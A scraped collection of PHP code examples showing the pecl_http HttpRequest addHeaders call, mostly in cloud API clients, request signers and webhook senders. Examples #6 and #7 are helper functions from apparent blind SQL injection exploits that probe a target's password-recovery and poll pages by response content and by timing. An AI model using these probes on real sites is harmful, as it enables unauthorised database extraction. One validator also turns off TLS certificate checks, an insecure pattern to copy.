Example #1
0
 protected function request($uri, $method, $data)
 {
     $httpRequest = new HttpRequest();
     $httpRequest->setOptions(array("useragent" => "Scalr (https://scalr.net)"));
     $httpRequest->setUrl("{$this->apiUrl}{$uri}");
     $httpRequest->setMethod($method);
     $httpRequest->resetCookies();
     $httpRequest->addHeaders(array('Cookie' => $this->sessionCookie, 'Content-Type' => 'application/nimbula-v1+json'));
     switch ($method) {
         case HTTP_METH_POST:
             $httpRequest->setRawPostData(json_encode($data));
             $httpRequest->addHeaders(array('Content-Type' => 'application/nimbula-v1+json'));
             break;
     }
     try {
         $httpRequest->send();
         $data = $httpRequest->getResponseData();
         $result = @json_decode($data['body']);
         if ($httpRequest->getResponseCode() > 204) {
             $message = $result->message;
             if ($message) {
                 if ($message instanceof stdClass) {
                     $r = (array) $message;
                     $msg = '';
                     foreach ($r as $k => $v) {
                         $msg .= "{$k}: {$v} ";
                     }
                     throw new Exception(trim($msg));
                 } else {
                     throw new Exception($message);
                 }
             }
             throw new Exception($data['body']);
         }
         $headers = $httpRequest->getResponseHeader('Set-Cookie');
         if ($headers) {
             if (!is_array($headers)) {
                 if (stristr($headers, "nimbula")) {
                     $this->sessionCookie = $headers;
                 }
             } else {
             }
         }
         $this->LastResponseHeaders = $data['headers'];
         return $result;
     } catch (Exception $e) {
         if ($e->innerException) {
             $message = $e->innerException->getMessage();
         } else {
             $message = $e->getMessage();
         }
         throw new Exception("Nimbula error: {$message}");
     }
 }
 public function OnStartForking()
 {
     $db = \Scalr::getDb();
     // Get pid of running daemon
     $pid = @file_get_contents(CACHEPATH . "/" . __CLASS__ . ".Daemon.pid");
     $this->Logger->info("Current daemon process PID: {$pid}");
     // Check is daemon already running or not
     if ($pid) {
         $Shell = new Scalr_System_Shell();
         // Set terminal width
         putenv("COLUMNS=400");
         // Execute command
         $ps = $Shell->queryRaw("ps ax -o pid,ppid,command | grep ' 1' | grep {$pid} | grep -v 'ps x' | grep DBQueueEvent");
         $this->Logger->info("Shell->queryRaw(): {$ps}");
         if ($ps) {
             // daemon already running
             $this->Logger->info("Daemon running. All ok!");
             return true;
         }
     }
     $rows = $db->Execute("SELECT history_id FROM webhook_history WHERE status='0'");
     while ($row = $rows->FetchRow()) {
         $history = WebhookHistory::findPk(bin2hex($row['history_id']));
         if (!$history) {
             continue;
         }
         $endpoint = WebhookEndpoint::findPk($history->endpointId);
         $request = new HttpRequest();
         $request->setMethod(HTTP_METH_POST);
         if ($endpoint->url == 'SCALR_MAIL_SERVICE') {
             $request->setUrl('https://my.scalr.com/webhook_mail.php');
         } else {
             $request->setUrl($endpoint->url);
         }
         $request->setOptions(array('timeout' => 3, 'connecttimeout' => 3));
         $dt = new DateTime('now', new DateTimeZone("UTC"));
         $timestamp = $dt->format("D, d M Y H:i:s e");
         $canonical_string = $history->payload . $timestamp;
         $signature = hash_hmac('SHA1', $canonical_string, $endpoint->securityKey);
         $request->addHeaders(array('Date' => $timestamp, 'X-Signature' => $signature, 'X-Scalr-Webhook-Id' => $history->historyId, 'Content-type' => 'application/json'));
         $request->setBody($history->payload);
         try {
             $request->send();
             $history->responseCode = $request->getResponseCode();
             if ($request->getResponseCode() <= 205) {
                 $history->status = WebhookHistory::STATUS_COMPLETE;
             } else {
                 $history->status = WebhookHistory::STATUS_FAILED;
             }
         } catch (Exception $e) {
             $history->status = WebhookHistory::STATUS_FAILED;
         }
         $history->save();
     }
 }
 public function testStoreAsset()
 {
     $headers = array('X-Asset-Creator-Id' => (string) UUID::Random(), 'X-Asset-Id' => UUID::Zero);
     $r = new HttpRequest($this->server_url, HttpRequest::METH_POST);
     $r->addHeaders($headers);
     $r->AddPostFile(UUID::Random(), "eyewhite.tga", "image/tga");
     $r->send();
     $this->AssetSHA = sha1(file_get_contents('eyewhite.tga'));
     $this->assertEquals(201, $r->getResponseCode());
     if (file_exists('test.assetid')) {
         unlink('test.assetid');
     }
     file_put_contents('test.assetid', (string) UUID::Parse($r->getResponseHeader("X-Asset-Id")));
 }
Example #4
0
    private function _OssMethods($action, $key, $files = false) {
        if (!$key || !$action)
            return;

        if ($action != 'DELETE' && $action != 'PUT')
            return;

        $options = array(
            'useragent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YINUOINFO API; Alexa Toolbar)",
            'connecttimeout' => 120,
            'timeout' => 120,
            'redirect' => 10,
        );

        if ($action == 'DELETE') {
            $r = new HttpRequest(self::OssBaseURL . 'delete.php?key=' . $key, HTTP_METH_GET);
            $r->setOptions($options);
            $r->addHeaders(array('Authorization' => 'Basic ' . base64_encode(self::US_UP_AUTHORIZATION)));
            try {
                $ret = $r->send()->getBody();
                if ($ret == 'success')
                    return 1;
            } catch (HttpException $e) {
                return 0;
            }
        }

        if ($action == 'PUT') {
            if (self::UseLocalFile && !APP_DEV){
                $r = new HttpRequest(self::LocalOssBaseURL . 'local_upload.php', HTTP_METH_POST);
                $r->setPostFields(array('key' => $key,'localfile' => $files));
            }else {
                $r = new HttpRequest(self::OssBaseURL . 'upload.php', HTTP_METH_POST);
                $r->setPostFields(array('key' => $key));
                $r->addPostFile('file', $files, 'image/jpeg');
            }
            $r->setOptions($options);
            $r->addHeaders(array('Authorization' => 'Basic ' . base64_encode(self::US_UP_AUTHORIZATION)));
            try {
                $ret = $r->send()->getBody();
                if (preg_match("/OK/i", $ret))
                    return 1;
            } catch (HttpException $e) {
                return 0;
            }
        }
        return 0;
    }
Example #5
0
 /**
  * Perform the HTTP request.
  *
  * @param      \phpcouch\http\HttpRequest HTTP Request object
  *
  * @return     \phpcouch\http\HttpResponse  The response from the server
  *
  * @author     Simon Thulbourn <*****@*****.**>
  * @since      1.0.0
  */
 public function sendRequest(\phpcouch\http\HttpRequest $request)
 {
     $internalRequest = new \HttpRequest($request->getDestination(), self::$httpMethods[$request->getMethod()]);
     // additional headers
     foreach ($request->getHeaders() as $key => $values) {
         foreach ($values as $value) {
             $this->headers[$key] = $value;
         }
     }
     if (!isset($this->headers['Content-Type'])) {
         $this->headers['Content-Type'] = 'application/json';
     }
     if (null !== ($payload = $request->getContent())) {
         if (is_resource($payload)) {
             // This adapter has no real stream support as of now
             $payload = stream_get_contents($payload, -1, 0);
         }
         if ('PUT' == $request->getMethod()) {
             $internalRequest->setPutData($payload);
         } elseif ('POST' == $request->getMethod()) {
             $internalRequest->setBody($payload);
             $this->headers['Content-Length'] = strlen($payload);
         }
     }
     $internalRequest->addHeaders($this->headers);
     $message = new \HttpMessage($internalRequest->send());
     $response = new HttpResponse();
     $response->setStatusCode($message->getResponseCode());
     if (!isset($response)) {
         throw new TransportException('Could not read HTTP response status line');
     }
     foreach ($message->getHeaders() as $key => $value) {
         $response->setHeader($key, $value);
     }
     $response->setContent($message->getBody());
     if ($message->getResponseCode() >= 400) {
         if ($message->getResponseCode() % 500 < 100) {
             // a 5xx response
             throw new HttpServerErrorException($message->getResponseStatus(), $message->getResponseCode(), $response);
         } else {
             // a 4xx response
             throw new HttpClientErrorException($message->getResponseStatus(), $message->getResponseCode(), $response);
         }
     }
     return $response;
 }
Example #6
0
function http_connect($query)
{
    global $server;
    $headers = array('User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14', 'Referer' => $server);
    $res_http = new HttpRequest($server . "modules/auth/password_recovery.php?=1" . $query, HttpRequest::METH_GET);
    $res_http->addHeaders($headers);
    try {
        $response = $res_http->send()->getBody();
        if (eregi("page_header", $response)) {
            return 1;
        } else {
            return 0;
        }
    } catch (HttpException $exception) {
        print "[-] Not connected";
        exit(0);
    }
}
Example #7
0
function http_connect($query)
{
    global $server;
    $headers = array('User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14', 'Referer' => $server);
    $res_http = new HttpRequest($server . "modules/poll/?cc=62&PollID=1" . $query, HttpRequest::METH_GET);
    $res_http->addHeaders($headers);
    $t = mktime();
    try {
        $response = $res_http->send()->getBody();
        $t = mktime() - $t;
        if ($t > 4) {
            return 1;
        } else {
            return 0;
        }
    } catch (HttpException $exception) {
        print "[-] Not connected";
        exit(0);
    }
}
 private function Request($method, $uri, $request_body, $query_args, $headers = array())
 {
     $HttpRequest = new HttpRequest();
     $HttpRequest->setOptions(array("redirect" => 10, "useragent" => "LibWebta AWS Client (http://webta.net)"));
     $timestamp = $this->GetTimestamp();
     $signature = $this->GetRESTSignature($timestamp);
     $HttpRequest->setUrl("https://cloudfront.amazonaws.com/" . self::API_VERSION . $uri);
     $HttpRequest->setMethod($method);
     if ($query_args) {
         $HttpRequest->addQueryData($query_args);
     }
     if ($request_body) {
         if ($method == constant("HTTP_METH_POST")) {
             $HttpRequest->setRawPostData(trim($request_body));
         } else {
             $HttpRequest->setPutData(trim($request_body));
         }
         $headers["Content-type"] = "text/xml";
     }
     $headers["Date"] = $timestamp;
     $headers["Authorization"] = "AWS {$this->AWSAccessKeyId}:{$signature}";
     $HttpRequest->addHeaders($headers);
     try {
         $HttpRequest->send();
         //$info = $HttpRequest->getResponseInfo();
         $data = $HttpRequest->getResponseData();
         $this->LastResponseHeaders = $data['headers'];
         return $data['body'];
     } catch (Exception $e) {
         if ($e->innerException) {
             $message = $e->innerException->getMessage();
         } else {
             $message = $e->getMessage();
         }
         throw new Exception($message);
     }
 }
Example #9
0
 /**
  * Signs request with signature version 2
  *
  * Only POST http method is supported
  *
  * @param   \HttpRequest $request Http request object
  * @throws  QueryClientException
  */
 protected function signRequestV2($request)
 {
     $time = time();
     //Gets the http method name
     $httpMethod = self::$httpMethods[$request->getMethod()];
     //Gets both host and path from the url
     $components = parse_url($request->getUrl());
     $common = ['AWSAccessKeyId' => $this->awsAccessKeyId, 'SignatureVersion' => '2', 'SignatureMethod' => 'HmacSHA1', 'Timestamp' => gmdate('Y-m-d\\TH:i:s', $time) . "Z"];
     $request->addPostFields($common);
     //Gets adjusted options
     $options = $request->getPostFields();
     //Calculating canonicalized query string
     ksort($options);
     $canonicalizedQueryString = '';
     foreach ($options as $k => $v) {
         $canonicalizedQueryString .= '&' . rawurlencode($k) . '=' . rawurlencode($v);
     }
     $canonicalizedQueryString = ltrim($canonicalizedQueryString, '&');
     $stringToSign = $httpMethod . "\n" . strtolower($components['host']) . "\n" . $components['path'] . "\n" . $canonicalizedQueryString;
     switch ($common['SignatureMethod']) {
         case 'HmacSHA1':
         case 'HmacSHA256':
             $algo = strtolower(substr($common['SignatureMethod'], 4));
             break;
         default:
             throw new QueryClientException('Unknown SignatureMethod ' . $common['SignatureMethod']);
     }
     $request->addPostFields(['Signature' => base64_encode(hash_hmac($algo, $stringToSign, $this->secretAccessKey, 1))]);
     $request->addHeaders(['X-Amz-Date' => gmdate(\DateTime::ISO8601, $time)]);
 }
Example #10
0
 private function request($method, $params = null)
 {
     $requestObj = new stdClass();
     $requestObj->id = microtime(true);
     $requestObj->method = $method;
     $requestObj->params = $params;
     $jsonRequest = json_encode($requestObj);
     $newEncryptionProtocol = false;
     //TODO:
     if ($this->dbServer->farmRoleId) {
         if ($this->dbServer->IsSupported('2.7.7')) {
             $newEncryptionProtocol = true;
         }
     }
     $dt = new DateTime('now', new DateTimeZone("UTC"));
     $timestamp = $dt->format("D d M Y H:i:s e");
     if ($newEncryptionProtocol) {
         $jsonRequest = $this->cryptoTool->encrypt($jsonRequest, $this->dbServer->GetKey(true));
         $canonical_string = $jsonRequest . $timestamp;
         $signature = base64_encode(hash_hmac('SHA1', $canonical_string, $this->dbServer->GetKey(true), 1));
     } else {
         $canonical_string = $jsonRequest . $timestamp;
         $signature = base64_encode(hash_hmac('SHA1', $canonical_string, $this->dbServer->GetProperty(SERVER_PROPERTIES::SZR_KEY), 1));
     }
     $request = new HttpRequest();
     $request->setMethod(HTTP_METH_POST);
     $requestHost = $this->dbServer->getSzrHost() . ":{$this->port}";
     if ($this->isVPC) {
         $routerFarmRoleId = $this->dbServer->GetFarmRoleObject()->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_SCALR_ROUTER_ID);
         if ($routerFarmRoleId) {
             $routerRole = DBFarmRole::LoadByID($routerFarmRoleId);
         } else {
             $routerRole = $this->dbServer->GetFarmObject()->GetFarmRoleByBehavior(ROLE_BEHAVIORS::VPC_ROUTER);
         }
         if ($routerRole) {
             // No public IP need to use proxy
             if (!$this->dbServer->remoteIp) {
                 $requestHost = $routerRole->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_IP) . ":80";
                 $request->addHeaders(array("X-Receiver-Host" => $this->dbServer->localIp, "X-Receiver-Port" => $this->port));
                 // There is public IP, can use it
             } else {
                 $requestHost = "{$this->dbServer->remoteIp}:{$this->port}";
             }
         }
     }
     $request->setUrl($requestHost);
     $request->setOptions(array('timeout' => $this->timeout, 'connecttimeout' => $this->timeout));
     $request->addHeaders(array("Date" => $timestamp, "X-Signature" => $signature, "X-Server-Id" => $this->dbServer->serverId));
     $request->setBody($jsonRequest);
     try {
         // Send request
         $request->send();
         if ($request->getResponseCode() == 200) {
             $response = $request->getResponseData();
             $body = $response['body'];
             if ($newEncryptionProtocol) {
                 $body = $this->cryptoTool->decrypt($body, $this->dbServer->GetKey(true));
             }
             $jResponse = @json_decode($body);
             if ($jResponse->error) {
                 throw new Exception("{$jResponse->error->message} ({$jResponse->error->code}): {$jResponse->error->data} ({$response['body']})");
             }
             return $jResponse;
         } else {
             throw new Exception(sprintf("Unable to perform request to update client: %s", $request->getResponseCode()));
         }
     } catch (HttpException $e) {
         if (isset($e->innerException)) {
             $msg = $e->innerException->getMessage();
         } else {
             $msg = $e->getMessage();
         }
         throw new Exception(sprintf("Unable to perform request to update client: %s", $msg));
     }
 }
 public function ajaxAction()
 {
     $this->view = new Lupin_View();
     $method = strtolower($this->_request->getParam('method'));
     $query_uri = trim($this->_request->getParam('query_uri'), '/ ');
     $url = $this->_request->getParam('url');
     $extraParams = $this->_request->getParam('param');
     $params = array('format' => $this->_request->getParam('format'));
     if (!empty($extraParams)) {
         foreach ($extraParams as $newParam) {
             $parms = explode('=', $newParam, 2);
             if (count($parms) > 1) {
                 list($key, $value) = $parms;
                 $params[$key] = $value;
             }
         }
     }
     $newMethod = HTTP_METH_GET;
     switch ($method) {
         case 'get':
             $newMethod = HTTP_METH_GET;
             break;
         case 'post':
             $newMethod = HTTP_METH_POST;
             break;
         case 'put':
             $newMethod = HTTP_METH_PUT;
             break;
         case 'delete':
             $newMethod = HTTP_METH_DELETE;
             break;
         case 'head':
             $newMethod = HTTP_METH_HEAD;
             break;
     }
     $email = $this->_request->getParam('email');
     $pass = $this->_request->getParam('secretKey');
     $request_url = 'http://' . $url . '/' . $query_uri;
     $request = new HttpRequest($request_url, $newMethod);
     if ($email && $pass) {
         $encoded_auth = base64_encode($email . ':' . $pass);
         $request->addHeaders(array('Authorization' => 'Basic ' . $encoded_auth));
     }
     if ("post" == $method) {
         $request->addPostFields($params);
     } else {
         $request->addQueryData($params);
     }
     $res = $request->send();
     function collapseHeaders($headers)
     {
         $header_string = "";
         foreach ($headers as $name => $value) {
             $header_string .= $name . ": " . wordwrap($value, 45, "\n\t") . "\n";
         }
         return $header_string;
     }
     $responseInfo = $request->getResponseInfo();
     $response = array('request_url' => $responseInfo['effective_url'], 'response_headers' => collapseHeaders($res->getHeaders()), 'content' => $res->getBody(), 'status' => $res->getResponseCode(), 'method' => strtoupper($method), 'request_post_fields' => http_build_query(!is_null($postFields = $request->getPostFields()) ? $postFields : array()));
     $this->view->renderJson($response);
 }
Example #12
0
 /**
  * Send message to instance
  * @param Scalr_Messaging_Msg $message
  * @return Scalr_Messaging_Msg
  */
 public function SendMessage(Scalr_Messaging_Msg $message, $isEventNotice = false, $delayed = false)
 {
     $startTime = microtime(true);
     if ($this->farmId && $message->getName() != 'BeforeHostTerminate') {
         if ($this->GetFarmObject()->Status == FARM_STATUS::TERMINATED) {
             $this->Db->Execute("UPDATE messages SET status = ? WHERE messageid = ?", array(MESSAGE_STATUS::FAILED, $message->messageId));
             return;
         }
     }
     //
     // To avoid message flood if server cannot respond
     // Protection from DDOS
     // Log only right now
     /*
     $pendingMessagesCount = $this->Db->GetOne("SELECT COUNT(*) FROM messages WHERE status = '0' OR server_id = ?", array(
         $this->serverId
     ));
     if ($pendingMessagesCount > 50) {
         if ($message->serverId != $this->serverId) {
             $this->SetProperty('tmp.flood-alert', 1);
         }
     }
     */
     // Ignore OLD messages (ami-scripts)
     if (!$this->IsSupported("0.5")) {
         return;
     }
     // Put access data and reserialize message
     $pl = PlatformFactory::NewPlatform($this->platform);
     $pl->PutAccessData($this, $message);
     $logger = Logger::getLogger('DBServer');
     $serializer = Scalr_Messaging_XmlSerializer::getInstance();
     $cryptoTool = \Scalr::getContainer()->srzcrypto($this->GetKey(true));
     if ($this->GetProperty(\SERVER_PROPERTIES::SZR_MESSAGE_FORMAT) == 'json') {
         $serializer = Scalr_Messaging_JsonSerializer::getInstance();
         $rawMessage = $serializer->serialize($message);
         $messageType = 'json';
     } else {
         $rawMessage = $serializer->serialize($message);
         $messageType = 'xml';
     }
     //$rawJsonMessage = @json_encode($message);
     $time = microtime(true) - $startTime;
     if (!$this->Db->GetOne("SELECT COUNT(*) FROM `messages` WHERE `messageid` = ? AND `server_id` = ?", [$message->messageId, $this->serverId])) {
         // Add message to database
         $this->Db->Execute("INSERT INTO messages SET\n                `messageid` = ?,\n                `processing_time` = ?,\n                `server_id` = ?,\n                `event_server_id` = ?,\n                `message`   = ?,\n                `type`      = 'out',\n                `message_name` = ?,\n                `handle_attempts` = ?,\n                `message_version` = ?,\n                `dtlasthandleattempt` = NOW(),\n                `dtadded` = NOW(),\n                `message_format` = ?,\n                `event_id` = ?\n            ON DUPLICATE KEY UPDATE handle_attempts = handle_attempts+1, dtlasthandleattempt = NOW()\n            ", array($message->messageId, $time, $this->serverId, $message->serverId, $rawMessage, $message->getName(), $delayed ? '0' : '1', 2, $messageType, isset($message->eventId) ? $message->eventId : ''));
     } else {
         $this->Db->Execute("UPDATE messages SET handle_attempts = handle_attempts+1, dtlasthandleattempt = NOW() WHERE messageid = ? AND server_id = ?", array($message->messageId, $this->serverId));
     }
     if ($delayed) {
         return $message;
     }
     $isVPC = false;
     if ($this->farmId) {
         if (DBFarm::LoadByID($this->farmId)->GetSetting(DBFarm::SETTING_EC2_VPC_ID)) {
             $isVPC = true;
         }
     }
     if (!$this->remoteIp && !$this->localIp && !$isVPC) {
         return;
     }
     $cryptoTool->setCryptoKey($this->GetKey(true));
     $encMessage = $cryptoTool->encrypt($rawMessage);
     $timestamp = date("c", time());
     $signature = $cryptoTool->sign($encMessage, null, $timestamp);
     try {
         $request = new HttpRequest();
         $request->setMethod(HTTP_METH_POST);
         $ctrlPort = $this->getPort(self::PORT_CTRL);
         $requestHost = $this->getSzrHost() . ":{$ctrlPort}";
         if ($isVPC) {
             $routerFarmRoleId = $this->GetFarmRoleObject()->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_SCALR_ROUTER_ID);
             if ($routerFarmRoleId) {
                 $routerRole = DBFarmRole::LoadByID($routerFarmRoleId);
             } else {
                 $routerRole = $this->GetFarmObject()->GetFarmRoleByBehavior(ROLE_BEHAVIORS::VPC_ROUTER);
             }
             if ($routerRole) {
                 // No public IP need to use proxy
                 if (!$this->remoteIp) {
                     $requestHost = $routerRole->GetSetting(Scalr_Role_Behavior_Router::ROLE_VPC_IP) . ":80";
                     $request->addHeaders(array("X-Receiver-Host" => $this->localIp, "X-Receiver-Port" => $ctrlPort));
                     // There is public IP, can use it
                 } else {
                     $requestHost = "{$this->remoteIp}:{$ctrlPort}";
                 }
             }
         }
         //Prepare request
         $request->setUrl("http://{$requestHost}/control");
         $request->setOptions(array('timeout' => \Scalr::config('scalr.system.instances_connection_timeout'), 'connecttimeout' => \Scalr::config('scalr.system.instances_connection_timeout')));
         $request->addHeaders(array("Date" => $timestamp, "X-Signature" => $signature, 'X-Server-Id' => $this->serverId));
         if ($messageType == 'json') {
             $request->addHeaders(array('Content-type' => 'application/json'));
         }
         $request->setBody($encMessage);
         // Send request
         $request->send();
         // Process response
         if ($request->getResponseCode() == 201) {
             $logger->info(sprintf("[FarmID: %s] Sending message '%s' via REST to server '%s' (server_id: %s) completed", $this->farmId, $message->getName(), $this->remoteIp, $this->serverId));
             if (in_array($message->getName(), array('ExecScript'))) {
                 $this->Db->Execute("DELETE FROM messages WHERE messageid = ?", array($message->messageId));
             } else {
                 if ($messageType != 'json') {
                     $this->Db->Execute("UPDATE messages SET status = ?, message = '' WHERE messageid = ?", array(MESSAGE_STATUS::HANDLED, $message->messageId));
                 } else {
                     $this->Db->Execute("UPDATE messages SET status = ? WHERE messageid = ?", array(MESSAGE_STATUS::HANDLED, $message->messageId));
                 }
                 if (!empty($message->eventId)) {
                     $this->Db->Execute("UPDATE events SET msg_sent = msg_sent + 1 WHERE event_id = ?", array($message->eventId));
                 }
             }
         } else {
             $logger->warn(sprintf("[FarmID: %s] Cannot deliver message '%s' (message_id: %s) via REST" . " to server '%s' (server_id: %s). Error: %s %s", $this->farmId, $message->getName(), $message->messageId, $this->remoteIp, $this->serverId, $request->getResponseCode(), $request->getResponseStatus()));
         }
     } catch (HttpException $e) {
         if (isset($e->innerException)) {
             $msg = $e->innerException->getMessage();
         } else {
             $msg = $e->getMessage();
         }
         if ($this->farmId) {
             $logger->warn(new FarmLogMessage($this->farmId, sprintf("Cannot deliver message '%s' (message_id: %s) via REST" . " to server '%s' (server_id: %s). Error: %s %s", $message->getName(), $message->messageId, $this->remoteIp, $this->serverId, $request->getResponseCode(), $msg), $this->serverId));
         } else {
             $logger->fatal(sprintf("Cannot deliver message '%s' (message_id: %s) via REST" . " to server '%s' (server_id: %s). Error: %s %s", $message->getName(), $message->messageId, $this->remoteIp, $this->serverId, $request->getResponseCode(), $msg));
         }
         return false;
     }
     return $message;
 }
 /**
  * Perform any request
  *
  * @param   string method request method, e.g. HttpConstants::GET
  * @param   var parameters
  * @param   array headers default array()
  * @return  peer.http.HttpResponse response object
  * @throws  io.IOException
  */
 public function request($method, $parameters, $headers = array())
 {
     $r = new HttpRequest($this->url);
     $r->setMethod($method);
     $r->setParameters($parameters);
     $r->addHeaders($headers);
     return $this->send($r);
 }
Example #14
0
$options = array();
$headers = array();
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $headers['User-Agent'] = $_SERVER['HTTP_USER_AGENT'];
}
$options['timeout'] = 30;
# Compression? Don't use since we've got at least 100mbit bandwith,
#              so that isn't important
# $options['compress'] = true;
# Auto redirection handling? Nice, but doesn't work correctly so
#                            we'll use our own implementation.
# $options['redirect'] = 10;
if (isset($_SERVER['HTTP_REFERER'])) {
    $options['referer'] = $conf->deproxify($_SERVER['HTTP_REFERER']);
}
$request->addHeaders($headers);
$request->setOptions($options);
// handle GET / POST requests and data
if (!empty($_POST)) {
    $request->setMethod(HttpRequest::METH_POST);
    $request->setPostFields($_POST);
} else {
    // GET Request
    $request->setMethod(HttpRequest::METH_GET);
}
// Cookie handling
$request->enableCookies = true;
$request->setCookies($_COOKIE);
try {
    // HttpRequest can follow redirects automatically, but that
    // works strangely...
Example #15
0
 /**
  * Signs request with signature v3
  *
  * @param   \HttpRequest   $request    Http request
  * @param   string         $subdomain  optional A subdomain
  */
 protected function signRequestV3($request, $subdomain = null)
 {
     $time = time();
     //Gets the http method name
     $httpMethod = self::$httpMethods[$request->getMethod()];
     $components = parse_url($request->getUrl());
     //Retrieves headers from request
     $options = $request->getHeaders();
     //Adding timestamp
     if (!isset($options['Date'])) {
         $options['Date'] = gmdate('r', $time);
         $request->addHeaders(['Date' => $options['Date']]);
     }
     //This also includes a mock objects which look like "Mock_S3QueryClient_d65a1dc1".
     if (preg_match('#(?<=[_\\\\])S3QueryClient(?=_|$)#', get_class($this))) {
         $amzHeaders = [];
         foreach ($options as $key => $val) {
             if (preg_match('/^x-amz-/i', $key)) {
                 //Saves amz headers which are used to sign the request
                 $amzHeaders[strtolower($key)] = $val;
             }
         }
         //S3 Client has a special Authorization string
         $canonicalizedAmzHeaders = '';
         if (!empty($amzHeaders)) {
             ksort($amzHeaders);
             foreach ($amzHeaders as $k => $v) {
                 $canonicalizedAmzHeaders .= $k . ':' . trim(preg_replace('/#( *[\\r\\n]+ *)+#/', ' ', $v)) . "\n";
             }
         }
         //Note that in case of multiple sub-resources, sub-resources must be lexicographically sorted
         //by sub-resource name and separated by '&'. e.g. ?acl&versionId=value.
         if (!empty($components['query'])) {
             $canonPath = $components['path'] . '?';
             parse_str($components['query'], $subresources);
             ksort($subresources);
             $allowed = $this->getAllowedSubResources();
             foreach ($subresources as $k => $v) {
                 if (in_array($k, $allowed)) {
                     $canonPath .= $k . ($v !== '' ? '=' . $v : '') . '&';
                 }
             }
             $canonPath = substr($canonPath, 0, -1);
         }
         $canonicalizedResource = (isset($subdomain) ? '/' . strtolower($subdomain) : '') . (isset($canonPath) ? $canonPath : $components['path'] . (!empty($components['query']) ? '?' . $components['query'] : '') . (!empty($components['fragment']) ? '#' . $components['fragment'] : ''));
         $stringToSign = $httpMethod . "\n" . (!empty($options['Content-Md5']) ? $options['Content-Md5'] . '' : '') . "\n" . (!empty($options['Content-Type']) ? $options['Content-Type'] . '' : '') . "\n" . (isset($amzHeaders['x-amz-date']) ? '' : $options['Date'] . "\n") . $canonicalizedAmzHeaders . $canonicalizedResource;
         $options['Authorization'] = "AWS " . $this->awsAccessKeyId . ":" . base64_encode(hash_hmac('sha1', $stringToSign, $this->secretAccessKey, 1));
     } else {
         $options['Authorization'] = "AWS " . $this->awsAccessKeyId . ":" . base64_encode(hash_hmac('sha1', $options['Date'], $this->secretAccessKey, 1));
     }
     $request->addHeaders(['Authorization' => $options['Authorization']]);
 }
Example #16
0
		/**
		 * Create new object on S3 Bucket
		 *
		 * @param string $object_path
		 * @param string $bucket_name
		 * @param string $filename
		 * @param string $object_content_type
		 * @param string $object_permissions
		 * @return bool
		 */
		public function CreateObject($object_path, $bucket_name, $filename, $object_content_type, $object_permissions = "public-read")
		{
			if (!file_exists($filename))
			{
				Core::RaiseWarning("{$filename} - no such file.");
				return false;
			}
			
			$HttpRequest = new HttpRequest();
			
			$HttpRequest->setOptions(array(    "redirect" => 10, 
			                                         "useragent" => "LibWebta AWS Client (http://webta.net)"
			                                    )
			                              );
						
			$timestamp = $this->GetTimestamp(true);
			
			$data_to_sign = array("PUT", "", $object_content_type, $timestamp, "x-amz-acl:{$object_permissions}","/{$bucket_name}/{$object_path}");
			$signature = $this->GetRESTSignature($data_to_sign);
			
			$HttpRequest->setUrl("http://{$bucket_name}.s3.amazonaws.com/{$object_path}");
		    $HttpRequest->setMethod(constant("HTTP_METH_PUT"));
		   	 
		    $headers["Content-type"] = $object_content_type;
		    $headers["x-amz-acl"] = $object_permissions;
		    $headers["Date"] = $timestamp;
            $headers["Authorization"] = "AWS {$this->AWSAccessKeyId}:{$signature}";
			                
            $HttpRequest->addHeaders($headers);
            
            $HttpRequest->setPutFile($filename);
            
            try 
            {
                $HttpRequest->send();
                
                $info = $HttpRequest->getResponseInfo();
                
                if ($info['response_code'] == 200)
                	return true;
                else
                {
                	$xml = @simplexml_load_string($HttpRequest->getResponseBody());                	
                	return $xml->Message;
                }
            }
            catch (HttpException $e)
            {
                Core::RaiseWarning($e->__toString(), E_ERROR);
		        return false;
            }
		}
Example #17
0
 /**
  * Validates url
  *
  * @return   boolean   Returns true if url endpoint passes validation.
  *                     It saves updated properties itself on success
  * @throws   \Scalr\Exception\ScalrException
  */
 public function validateUrl()
 {
     if (!$this->isValid && $this->endpointId) {
         $q = new \HttpRequest($this->url, HTTP_METH_GET);
         $q->addHeaders(array('X-Scalr-Webhook-Enpoint-Id' => $this->endpointId, 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Date' => gmdate('r')));
         $q->setOptions(array('redirect' => 10, 'useragent' => sprintf('Scalr client (http://scalr.com) PHP/%s pecl_http/%s', phpversion(), phpversion('http')), 'verifypeer' => false, 'verifyhost' => false, 'timeout' => 10, 'connecttimeout' => 10));
         try {
             $message = $q->send();
             if ($message->getResponseCode() == 200) {
                 $code = trim($q->getResponseBody());
                 $h = $message->getHeader('X-Validation-Token');
                 $this->isValid = $code == $this->validationToken || $h == $this->validationToken;
                 if ($this->isValid) {
                     $this->save();
                 }
             } else {
                 throw new ScalrException(sprintf("Validation failed. Endpoint '%s' returned http code %s", strip_tags($this->url), $message->getResponseCode()));
             }
         } catch (\HttpException $e) {
             throw new ScalrException(sprintf("Validation failed. Cannot connect to '%s'.", strip_tags($this->url)));
         }
     }
     return $this->isValid;
 }
 /**
  * Send an event to the Datadog HTTP api. Potentially slow, so avoid
  * making many call in a row if you don't want to stall your app.
  * Requires PHP >= 5.3.0 and the PECL extension pecl_http
  *
  * @param string $title Title of the event
  * @param array $vals Optional values of the event. See
  *   http://api.datadoghq.com/events for the valid keys
  * @return null
  **/
 public static function event($title, $vals = array())
 {
     // Assemble the request
     $vals['title'] = $title;
     // Convert a comma-separated string of tags into an array
     if (array_key_exists('tags', $vals) && is_string($vals['tags'])) {
         $tags = explode(',', $vals['tags']);
         $vals['tags'] = array();
         foreach ($tags as $tag) {
             $vals['tags'][] = trim($tag);
         }
     }
     $body = json_encode($vals);
     // Added in PHP 5.3.0
     // Get the url to POST to
     $url = static::$__datadogHost . static::$__eventUrl . '?api_key=' . static::$__apiKey . '&application_key=' . static::$__applicationKey;
     // Set up the http request. Need the PECL pecl_http extension
     $r = new HttpRequest($url, HttpRequest::METH_POST);
     $r->addHeaders(array('Content-Type' => 'application/json'));
     $r->setBody($body);
     // Send, suppressing and logging any http errors
     try {
         $r->send();
     } catch (HttpException $ex) {
